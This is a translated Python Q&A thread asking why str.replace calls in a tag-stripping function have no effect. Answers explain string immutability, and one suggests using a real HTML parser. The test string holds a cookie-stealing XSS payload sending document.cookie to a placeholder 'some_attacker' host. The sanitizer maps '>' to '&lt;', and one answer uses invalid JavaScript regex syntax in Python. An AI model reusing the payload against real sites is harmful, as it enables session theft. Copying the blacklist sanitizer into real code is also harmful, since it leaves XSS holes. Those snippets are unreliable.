为什么功能不起作用?试图替换字符串中的单词

时间:2012-09-17 14:03:08

标签: python string

我正在尝试替换字符串中的一些关键字。这是我的功能:

def clean_code(input):
    input.replace('<script>', " ")
    input.replace('</script>', " ")
    input.replace('<a href>', " ")
    input.replace('</a>', " ")
    input.replace('>', "&gt;")
    input.replace('>', "&lt;")
    return input

这是我的其他代码和字符串:

string1 = "This blog is STUPID! >\n" \
"<script>document.location='http://some_attacker/cookie.cgi?"\
" +document.cookie </script>"


print '\nstring1 cleaned of code' 
print '------------------------'
print clean_code(string1)

我的输出如下,我不确定为什么没有改变

string1 cleaned of code
------------------------
This blog is STUPID! >
<script>document.location='http://some_attacker/cookie.cgi? +document.cookie </script>

4 个答案:

答案 0 :(得分:8)

Python字符串不可变

input = input.replace('<script>', " ")
input = ...

请参阅replace documentation

  

返回字符串str 的副本,并将所有出现的substring old替换为new。

答案 1 :(得分:3)

.replace不是就地突变

试试这个

def clean_code(input):
    for tokens in [('<script>', " "),('</script>', " "),('<a href>', " "),
                ('</a>', " "),('>', "&gt;"),('>', "&lt;")]:
        input = input.replace(tokens[0], tokens[1])
    return input

答案 2 :(得分:3)

字符串在Python中是不可变的。 input.replace('</a>', " ")不会改变input。您需要将结果分配回input

但实际上你应该使用像 BeautifulSoup lxml这样的解析器。

答案 3 :(得分:1)

String.replace返回一个替换结果的新字符串,但不会更改原始字符串。为此,您必须将返回值分配回变量,如下所示:

myString = myString.replace("foo", "bar")

此外,input.replace('<a href>', " ")只会替换完全子字符串“&lt; a href&gt;”。要删除实际链接,请尝试input.replace(/<a\s[^>]*>/, " ")